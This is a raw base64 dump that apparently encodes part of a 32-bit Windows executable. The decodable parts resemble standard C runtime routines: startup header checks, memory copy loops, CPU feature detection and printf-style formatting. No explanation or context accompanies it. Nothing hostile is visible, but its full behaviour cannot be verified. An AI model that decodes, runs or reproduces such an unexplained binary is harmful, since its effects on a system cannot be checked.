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4BImFzPv//4P4Bw+HCwoAAP8khUiPQQAzwION6Pv///+L2ImFqPv//4mFwPv//4mF0Pv//4mF3Pv//4md7Pv//4mF1Pv//+nQCQAAD7fCaiBaK8J0RoPoA3Q5g+gIdC9ISHQdg+gDi4X4+///D4WvCQAAg8sIiZ3s+///6aEJAACDywSJnez7///pjQkAAIPLAevwgcuAAAAA6+iDywLr42oqWGY70HUviweDxwSJvfD7//+JhdD7//+FwA+JWgkAAIPLBPfYiZ3s+///iYXQ+///6UQJAABrjdD7//8KD7fCg8HQA8GJhdD7///pJAkAADPAiYXo+///6R0JAABqKlhmO9B1K4sHg8cEiYXo+///hcCLhfj7//+JvfD7//8PifwIAACDjej7////6fAIAABrjej7//8KD7fCg8HQA8GJhej7///pyggAAA+3woP4SXRXg/hodEhqbFo7wnQag/h3i4X4+///D4WzCAAAgcsACAAA6fz+//+Lhfj7//9mORB1FIPAAoHLABAAAImF+Pv//+nd/v//g8sQ6dX+//9qIFgL2OnZ/v//i4X4+///D7cAg/g2dSOLvfj7//9mg38CNHUWi8eDwASBywCAAACJhfj7///pmv7//4P4M3Uji734+///ZoN/AjJ1FovHg8AEgeP/f///iYX4+///6XL+//9mO4WM+///D4QLCAAAZjuFiPv//w+E/gcAAGY7hZj7//8PhPEHAACD+HUPhOgHAACD+HgPhN8HAABmO4WQ+///D4TSBwAAM8CJhcz7//+NheD7///HhdT7//8BAAAAUP+12Pv//1LoOwgAAIPEDOmfBwAAD7fCg/hkD48pAgAAD4SxAgAAg/hTD48lAQAAdH2D6EF0EEhIdFhISHQISEgPhZoFAABqIFgD0MeFqPv//wEAAACJleT7//+Lhej7//+Ntfz7//+Dy0C5AAIAAImd7Pv//4mN9Pv//4XAD4mOAgAAx4Xo+///BgAAAOnfAgAA98MwCAAAD4XYAAAAaiBYC9iJnez7///pyAAAAPfDMAgAAHULaiBYC9iJnez7//+Llej7//+/////f4P6/3QCi/qLtfD7//+DxgSJtfD7//+Ldvz2wyAPhL8EAACF9nUGizXIXEQAM8mLxomF5Pv//4mN9Pv//4X/D47QBAAAigCEwA+ExgQAAI2NsPv//w+2wFFQ6GLf//9ZhcCLheT7//9ZdAFAi430+///QEGJheT7//+JjfT7//87z3zB6YwEAACD6FgPhNwCAABISA+EiwAAAIPoBw+E7f7//0hID4VqBAAAD7cHg8cEx4XU+///AQAAAIm98Pv//4mFoPv///bDIHREiIXE+///M8CIhcX7//+NhbD7//9Qi4Ww+////3B0jYXE+///UI2F/Pv//1DotrIAAIPEEIXAeRPHhcD7//8BAAAA6wdmiYX8+///M8mNtfz7//9B6eoDAACLB4PHBIm98Pv//4XAdDaLcASF9nQv98MACAAAdBcPvwCZK8LHhdT7//8BAAAAi8jpswMAADPJiY3U+///D78I6aUDAACLNchcRABW6O7u//9Zi8jpkQMAAIP4cA+P6wEAAA+E1wEAAIP4ZQ+MfwMAAIP4Zw+O8f3//2ppWjvCdGaD+G50J2pvWjvCD4VfAwAAx4Xk+///CAAAAITbeVuBywACAACJnez7///rTYPHBIm98Pv//4t//Ohzu///hcAPhEUFAACLheD7///2wyB0BWaJB+sCiQfHhcD7//8BAAAA6cMEAACDy0CJnez7///HheT7//8KAAAA98MAgAAAdQz3wwAQAAAPhJcBAACLD4PHCIm98Pv//4t//OmwAQAAdRRqZ1hmO9B1VseF6Pv//wEAAADrSjvBfgiLwYmF6Pv//z2jAAAAfjeNuF0BAABX6JESAACLleT7//+Jhaz7//9ZhcB0Covwib30+///6wrHhej7//+jAAAAi73w+///iweDxwiJhXj7//+JvfD7//+LR/yJhXz7//+NhbD7//9Q/7Wo+///D77C/7Xo+///UP+19Pv//42FePv//1ZQ/zUcXkQA/xUMokIA/9CL+4PEHIHngAAAAHQhg73o+///AHUYjYWw+///UFb/NSheRAD/FQyiQgD/0FlZamdYZjmF5Pv//3Uchf91GI2FsPv//1BW/zUkXkQA/xUMokIA/9BZWYA+LQ+FHv7//4HLAAEAAEaJnez7///pDP7//8eF6Pv//wgAAABqB+scg+hzD4R7/P//SEgPhJL+//+D6AMPhYkBAABqJ8eF5Pv//xAAAABYiYWk+///hNsPiXj+//9qMFmDwFFmiY3I+///ZomFyvv//8eF3Pv//wIAAADpVf7//4PHBIm98Pv///bDIHQR9sNAdAYPv0f86w4Pt0f86wj2w0B0DItH/JmLyIv6M8DrB4tP/DPAi/j2w0B0HDv4fxh8BDvIcxL32RP499+BywABAACJnez7///3wwCQAAB1Aov4i5Xo+///hdJ5BTPSQusWg+P3iZ3s+///gfoAAgAAfgW6AAIAAIvBC8d1BomF3Pv//421+/3//4vCSomV6Pv//4XAfwaLwQvHdD2LheT7//+ZUlBXUeg+sAAAg8EwiZ2E+///iYX0+///i/qD+Tl+BgONpPv//4uV6Pv//4gOTouN9Pv//+uwi53s+///jY37/f//K85GiY30+///98MAAgAAdEWFyXQFgD4wdDxOQWowWIgG6y2F9nUGizXMXEQAx4XU+///AQAAAIvOhf90DzPAT2Y5AXQHg8EChf918yvO0fmJjfT7//+DvcD7//8AD4WtAQAA9sNAdCD3wwABAAAPhB0BAABqLVhmiYXI+///x4Xc+///AQAAAGogWou90Pv//4uF3Pv//yv5K/j2wwx1HY2F4Pv//1D/tdj7//9XUug/AgAAi4Xc+///g8QQ/7Wc+///jY3g+///Uf+12Pv//1CNhcj7//9Q6EICAACDxBT2wwh0H/bDBHUajYXg+///UP+12Pv//1dqMFhQ6PIBAACDxBCDvdT7//8Ai4X0+///D4WzAAAAhcAPjqsAAACLzom15Pv//0iJhYT7//+NhbD7//9Qi4Ww+////3B0jYWg+///UVDoqa0AAIPEEImFlPv//4XAfmeNheD7//9Q/7XY+////7Wg+///6E0BAACLjeT7//+DxAwDjZT7//+LhYT7//+JjeT7//+FwH+Y61b2wwF0B2or6dn+///2wwIPhOL+//9qIFpmiZXI+///x4Xc+///AQAAAOnM/v//g8j/iYXg+///6yP/tZz7//+NjeD7//9R/7XY+///UFboOwEAAIPEFIuF4Pv//4XAeB/2wwR0Go2F4Pv//1D/tdj7//9XaiBYUOjmAAAAg8QQi4Ws+///hcB0D1DoKbT//zPAWYmFrPv//4uN9Pv//4uF+Pv//w+3EIuF4Pv//4mV5Pv//2aF0g+FfvX//4C9vPv//wB0CouNuPv//4NhcP2LTfxfXjPNW+i1pv//i+Vdw+h33v//xwAWAAAA6K7y//+Avbz7//8AD4TV9P//i424+///g2Fw/enG9P//EIdBANaEQQAKhUEAX4VBALCFQQC9hUEACoZBADWHQQBVi+yLRQz2QAxAdAaDeAgAdB1Q/3UI6JaqAABZWbn//wAAZjvBdQiLRRCDCP9dw4tFEP8AXcNVi+xWi3UMhfZ+HleLfRRX/3UQTv91COiu////g8QMgz//dASF9n/nX15dw1WL7FaLdRhXi30QiwaJRRj2RwxAdBCDfwgAdQqLTRSLRQwBAetPgyYAU4tdDIXbfkGLRRRQi0UIS1cPtwBQ6Fv///+LRRSDxAyDRQgCgzj/dRSDPip1E1BXaj/oPv///4tFFIPEDIXbf8qDPgB1BYtFGIkGW19eXcNVi+yB7IgEAAChCFREADPFiUX8i0UIjY20+///U1aJhdj7//+LRQxX/3UQi30UiYX4+///M8CL2Im98Pv//4mFrPv//4vwiZ3s+///iYXQ+///iYXo+///iYXc+///iYWo+///iYWw+///iYXU+///6Eaw///o29z//4mFoPv//zmd2Pv//3Uq6Mjc///HABYAAADo//D//zidwPv//3QKi4W8+///g2Bw/YPI/+kQCwAAi5X4+///hdJ0zA+3EjPJiY30+///i8GJheD7//+Jjcz7//+JjaT7//+JleT7//9mhdIPhMUKAADHhZD7//9YAAAAx4WM+///ZAAAAMeFiPv//2kAAADHhZj7//9vAAAAg4X4+///AoXAD4h/CgAAaliNQuBfZjvHdw8Pt8IPtoCwyEIAg+AP6wIzwIu9zPv//2vACQ+2vDjQyEIAi8eJvcz7//+LvfD7///B6ASJhcz7//+D+AgPhJEKAACD+AcPhwsKAAD/JIVfnEEAM8CDjej7////i9iJhaj7//+JhbD7//+JhdD7//+Jhdz7//+Jnez7//+JhdT7///p0AkAAA+3wmogWivCdEaD6AN0OYPoCHQvSEh0HYPoA4uF+Pv//w+FrwkAAIPLCImd7Pv//+mhCQAAg8sEiZ3s+///6Y0JAACDywHr8IHLgAAAAOvog8sC6+NqKlhmO9B1L4sHg8cEib3w+///iYXQ+///hcAPiVoJAACDywT32Imd7Pv//4mF0Pv//+lECQAAa43Q+///Cg+3woPB0APBiYXQ+///6SQJAAAzwImF6Pv//+kdCQAAaipYZjvQdSuLB4PHBImF6Pv//4XAi4X4+///ib3w+///D4n8CAAAg43o+////+nwCAAAa43o+///Cg+3woPB0APBiYXo+///6coIAAAPt8KD+El0V4P4aHRIamxaO8J0GoP4d4uF+Pv//w+FswgAAIHLAAgAAOn8/v//i4X4+///ZjkQdRSDwAKBywAQAACJhfj7///p3f7//4PLEOnV/v//aiBYC9jp2f7//4uF+Pv//w+3AIP4NnUji734+///ZoN/AjR1FovHg8AEgcsAgAAAiYX4+///6Zr+//+D+DN1I4u9+Pv//2aDfwIydRaLx4PABIHj/3///4mF+Pv//+ly/v//ZjuFjPv//w+ECwgAAGY7hYj7//8PhP4HAABmO4WY+///D4TxBwAAg/h1D4ToBwAAg/h4D4TfBwAAZjuFkPv//w+E0gcAADPAiYXM+///jYXg+///x4XU+///AQAAAFD/tdj7//9S6FD7//+DxAzpnwcAAA+3woP4ZA+PKQIAAA+EsQIAAIP4Uw+PJQEAAHR9g+hBdBBISHRYSEh0CEhID4WaBQAAaiBYA9DHhaj7//8BAAAAiZXk+///i4Xo+///jbX8+///g8tAuQACAACJnez7//+JjfT7//+FwA+JjgIAAMeF6Pv//wYAAADp3wIAAPfDMAgAAA+F2AAAAGogWAvYiZ3s+///6cgAAAD3wzAIAAB1C2ogWAvYiZ3s+///i5Xo+///v////3+D+v90Aov6i7Xw+///g8YEibXw+///i3b89sMgD4S/BAAAhfZ1Bos1yFxEADPJi8aJheT7//+JjfT7//+F/w+O0AQAAIoAhMAPhMYEAACNjbT7//8PtsBRUOh30v//WYXAi4Xk+///WXQBQIuN9Pv//0BBiYXk+///iY30+///O898wemMBAAAg+hYD4TcAgAASEgPhIsAAACD6AcPhO3+//9ISA+FagQAAA+3B4PHBMeF1Pv//wEAAACJvfD7//+JhZz7///2wyB0RIiFxPv//zPAiIXF+///jYW0+///UIuFtPv///9wdI2FxPv//1CNhfz7//9Q6MulAACDxBCFwHkTx4Ww+///AQAAAOsHZomF/Pv//zPJjbX8+///QenqAwAAiweDxwSJvfD7//+FwHQ2i3AEhfZ0L/fDAAgAAHQXD78AmSvCx4XU+///AQAAAIvI6bMDAAAzyYmN1Pv//w+/COmlAwAAizXIXEQAVugD4v//WYvI6ZEDAACD+HAPj+sBAAAPhNcBAACD+GUPjH8DAACD+GcPjvH9//9qaVo7wnRmg/hudCdqb1o7wg+FXwMAAMeF5Pv//wgAAACE23lbgcsAAgAAiZ3s+///602DxwSJvfD7//+Lf/zoiK7//4XAD4RUBQAAi4Xg+///9sMgdAVmiQfrAokHx4Ww+///AQAAAOnDBAAAg8tAiZ3s+///x4Xk+///CgAAAPfDAIAAAHUM98MAEAAAD4SXAQAAiw+DxwiJvfD7//+Lf/zpsAEAAHUUamdYZjvQdVbHhej7//8BAAAA60o7wX4Ii8GJhej7//89owAAAH43jbhdAQAAV+imBQAAi5Xk+///iYWk+///WYXAdAqL8Im99Pv//+sKx4Xo+///owAAAIu98Pv//4sHg8cIiYV4+///ib3w+///i0f8iYV8+///jYW0+///UP+1qPv//w++wv+16Pv//1D/tfT7//+NhXj7//9WUP81HF5EAP8VDKJCAP/Qi/uDxByB54AAAAB0IYO96Pv//wB1GI2FtPv//1BW/zUoXkQA/xUMokIA/9BZWWpnWGY5heT7//91HIX/dRiNhbT7//9QVv81JF5EAP8VDKJCAP/QWVmAPi0PhR7+//+BywABAABGiZ3s+///6Qz+///Hhej7//8IAAAAagfrHIPocw+Ee/z//0hID4SS/v//g+gDD4WJAQAAaifHheT7//8QAAAAWImFrPv//4TbD4l4/v//ajBZg8BRZomNyPv//2aJhcr7///Hhdz7//8CAAAA6VX+//+DxwSJvfD7///2wyB0EfbDQHQGD79H/OsOD7dH/OsI9sNAdAyLR/yZi8iL+jPA6weLT/wzwIv49sNAdBw7+H8YfAQ7yHMS99kT+PffgcsAAQAAiZ3s+///98MAkAAAdQKL+IuV6Pv//4XSeQUz0kLrFoPj94md7Pv//4H6AAIAAH4FugACAACLwQvHdQaJhdz7//+Ntfv9//+LwkqJlej7//+FwH8Gi8ELx3Q9i4Xk+///mVJQV1HoU6MAAIPBMImdhPv//4mF9Pv//4v6g/k5fgYDjaz7//+Llej7//+IDk6LjfT7///rsIud7Pv//42N+/3//yvORomN9Pv///fDAAIAAHRFhcl0BYA+MHQ8TkFqMFiIBusthfZ1Bos1zFxEAMeF1Pv//wEAAACLzoX/dA8zwE9mOQF0B4PBAoX/dfMrztH5iY30+///g72w+///AA+FrQEAAPbDQHQg98MAAQAAD4QdAQAAai1YZomFyPv//8eF3Pv//wEAAABqIFqLvdD7//+Lhdz7//8r+Sv49sMMdR2NheD7//9Q/7XY+///V1LoVPX//4uF3Pv//4PEEP+1oPv//42N4Pv//1H/tdj7//9QjYXI+///UOhX9f//g8QU9sMIdB/2wwR1Go2F4Pv//1D/tdj7//9XajBYUOgH9f//g8QQg73U+///AIuF9Pv//w+FswAAAIXAD46rAAAAi86JteT7//9IiYWE+///jYW0+///UIuFtPv///9wdI2FnPv//1FQ6L6gAACDxBCJhZT7//+FwH5njYXg+///UP+12Pv///+1nPv//+hi9P//i43k+///g8QMA42U+///i4WE+///iY3k+///hcB/mOtW9sMBdAdqK+nZ/v//9sMCD4Ti/v//aiBaZomVyPv//8eF3Pv//wEAAADpzP7//4PI/4mF4Pv//+sj/7Wg+///jY3g+///Uf+12Pv//1BW6FD0//+DxBSLheD7//+FwHgf9sMEdBqNheD7//9Q/7XY+///V2ogWFDo+/P//4PEEIuFpPv//4XAdA9Q6D6n//8zwFmJhaT7//+LjfT7//+Lhfj7//8PtxCLheD7//+JleT7//9mhdIPhXL1//+Ljcz7//+FyXQFg/kHdVCAvcD7//8AdAqLjbz7//+DYXD9i038X14zzVvou5n//4vlXcPofdH//8cAFgAAAOi05f//gL3A+///AA+EuvT//4uNvPv//4NhcP3pq/T//+hR0f//xwAWAAAA6Ijl//+AvcD7//8A6YP0//+Q+5NBAMGRQQD1kUEASpJBAJuSQQCokkEA9ZJBACCUQQBVi+yDfQgAdRXoC9H//8cAFgAAAOhC5f//g8j/XcP/dQhqAP81VGlEAP8VzKFCAF3DVYvsVlcz9moA/3UM/3UI6N5MAACL+IPEDIX/dSU5BSBpRAB2HVboBjAAAIHG6AMAAFk7NSBpRAB2A4PO/4P+/3XFi8dfXl3DVYvsU1ZXiz0gaUQAM/b/dQjooqf//4vYWYXbdSOF/3QfVujCLwAAiz0gaUQAgcboAwAAWTv3dgODzv+D/v91zl9ei8NbXcNVi+xWVzP2/3UM/3UI6PSfAACL+FlZhf91KjlFDHQlOQUgaUQAdh1W6HUvAACBxugDAABZOzUgaUQAdgODzv+D/v91w4vHX15dw1WL7FZXM/b/dRD/dQz/dQjoUqAAAIv4g8QMhf91KjlFEHQlOQUgaUQAdh1W6CcvAACBxugDAABZOzUgaUQAdgODzv+D/v91v4vHX15dw8zMzMzMzMzMzGhAnkEAZP81AAAAAItEJBCJbCQQjWwkECvgU1ZXoQhURAAxRfwzxVCJZej/dfiLRfzHRfz+////iUX4jUXwZKMAAAAAw4tN8GSJDQAAAABZX19eW4vlXVHDzMzMzMzMzFWL7IPsGFOLXQxWV8ZF/wCLewiNcxAzPQhURADHRfQBAAAAiweD+P50DYtPBAPOMwww6FaX//+LRwiLTwwDzjMMMOhGl///i0UI9kAEZg+FzwAAAIlF6ItFEIlF7I1F6IlD/ItDDIlF+IP4/g+E7QAAAI0EQI1ABItMhwSNBIeLGIlF8IXJdHuL1uhzSgAAsQGITf+FwA+IfgAAAH5oi0UIgThjc23gdSiDPajIQgAAdB9oqMhCAOh0LgAAg8QEhcB0DmoB/3UI/xWoyEIAg8QIi1UIi00M6FZKAACLRQyLVfg5UAx0EGgIVEQAVovI6FdKAACLRQyJWAyLB4P4/nR162aKTf+JXfiLw4P7/g+FXv///4TJdEfrIcdF9AAAAADrGIN7DP50NmgIVEQAVo